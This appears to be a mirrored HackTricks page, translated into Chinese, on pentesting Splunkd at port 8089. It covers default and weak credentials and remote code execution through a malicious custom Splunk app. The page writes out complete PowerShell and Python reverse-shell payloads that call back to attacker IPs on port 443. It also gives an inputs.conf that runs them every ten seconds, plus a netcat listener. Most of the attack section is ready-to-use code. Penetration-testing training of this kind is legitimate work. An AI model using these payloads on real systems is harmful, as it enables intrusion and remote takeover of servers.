mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
134 lines
8.5 KiB
Markdown
134 lines
8.5 KiB
Markdown
# 8089 - Splunkd渗透测试
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||
|
||
</details>
|
||
|
||
## **基本信息**
|
||
|
||
**Splunk**是一个用于收集、分析和可视化数据的**日志分析工具**。尽管最初并不是作为SIEM工具而设计的,但Splunk经常用于**安全监控和业务分析**。Splunk部署通常用于存储**敏感数据**,如果被攻击者入侵,可能会提供大量信息。
|
||
|
||
**默认端口:**8089
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
8089/tcp open http Splunkd httpd
|
||
```
|
||
{% hint style="info" %}
|
||
Splunk Web服务器默认在端口8000上运行。
|
||
{% endhint %}
|
||
|
||
## 枚举
|
||
|
||
### 免费版本
|
||
|
||
Splunk Enterprise试用版在60天后转换为**免费版本**,**不需要身份验证**。系统管理员安装Splunk试用版进行测试,然后**往往会忘记**。这将自动转换为没有任何形式身份验证的免费版本,从而在环境中引入安全漏洞。一些组织可能由于预算限制而选择免费版本,但并不完全了解没有用户/角色管理的影响。
|
||
|
||
### 默认凭据
|
||
|
||
在旧版本的Splunk中,默认凭据是**`admin:changeme`**,方便地显示在登录页面上。\
|
||
然而,**最新版本的Splunk**在**安装过程中设置凭据**。如果默认凭据不起作用,可以尝试常见的弱密码,如`admin`,`Welcome`,`Welcome1`,`Password123`等。
|
||
|
||
### 获取信息
|
||
|
||
登录Splunk后,我们可以**浏览数据**,运行**报告**,创建**仪表板**,从Splunkbase库中**安装应用程序**,并安装自定义应用程序。\
|
||
您还可以运行代码:Splunk有多种运行代码的方式,例如服务器端Django应用程序、REST端点、脚本输入和警报脚本。在Splunk服务器上获得远程代码执行的常见方法是使用脚本输入。
|
||
|
||
此外,由于Splunk可以安装在Windows或Linux主机上,可以创建脚本输入来运行Bash、PowerShell或批处理脚本。
|
||
|
||
### Shodan
|
||
|
||
* `Splunk构建`
|
||
|
||
## RCE
|
||
|
||
### 创建自定义应用程序
|
||
|
||
自定义应用程序可以运行**Python、批处理、Bash或PowerShell脚本**。\
|
||
请注意,**Splunk已安装了Python**,因此即使在**Windows**系统中,您也可以运行Python代码。
|
||
|
||
您可以使用[**此**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk软件包来帮助我们。此存储库中的**`bin`**目录有[Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py)和[PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1)的示例。让我们逐步进行。
|
||
|
||
为了实现这一点,我们首先需要使用以下目录结构创建一个自定义的Splunk应用程序:
|
||
```shell-session
|
||
tree splunk_shell/
|
||
|
||
splunk_shell/
|
||
├── bin
|
||
└── default
|
||
```
|
||
**`bin`**目录将包含我们打算运行的**脚本**(在本例中是一个**PowerShell**反向shell),默认目录将有我们的`inputs.conf`文件。我们的反向shell将是一个**PowerShell一行命令:**
|
||
```powershell
|
||
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
||
```
|
||
[inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf)文件告诉Splunk要运行哪个脚本以及其他条件。在这里,我们将应用程序设置为启用,并告诉Splunk每10秒运行一次脚本。间隔始终以秒为单位,并且只有在存在此设置时,输入(脚本)才会运行。
|
||
```shell-session
|
||
cat inputs.conf
|
||
|
||
[script://./bin/rev.py]
|
||
disabled = 0
|
||
interval = 10
|
||
sourcetype = shell
|
||
|
||
[script://.\bin\run.bat]
|
||
disabled = 0
|
||
sourcetype = shell
|
||
interval = 10
|
||
```
|
||
我们需要一个`.bat`文件,在应用部署时运行并执行PowerShell一行命令。
|
||
|
||
下一步是选择`从文件安装应用`并上传应用。
|
||
|
||
<figure><img src="../.gitbook/assets/image (4) (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
在上传恶意自定义应用之前,让我们使用Netcat或[socat](https://linux.die.net/man/1/socat)启动一个监听器。
|
||
```shell-session
|
||
sudo nc -lnvp 443
|
||
|
||
listening on [any] 443 ...
|
||
```
|
||
在`上传应用程序`页面上,点击`浏览`,选择之前创建的tarball文件,然后点击`上传`。一旦我们上传应用程序,应用程序的状态将自动切换为`已启用`,同时我们将收到一个反向shell连接。
|
||
|
||
#### Linux
|
||
|
||
如果我们处理的是一个Linux主机,我们需要在创建tarball文件和上传自定义恶意应用程序之前编辑`rev.py` Python脚本。其余的过程将保持不变,我们将在Netcat监听器上获得一个反向shell连接。
|
||
```python
|
||
import sys,socket,os,pty
|
||
|
||
ip="10.10.14.15"
|
||
port="443"
|
||
s=socket.socket()
|
||
s.connect((ip,int(port)))
|
||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||
pty.spawn('/bin/bash')
|
||
```
|
||
### RCE & 提权
|
||
|
||
在下面的页面中,您可以找到如何滥用此服务以提升权限并获取持久性的解释:
|
||
|
||
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
||
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
||
{% endcontent-ref %}
|
||
|
||
## 参考资料
|
||
|
||
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||
|
||
</details>
|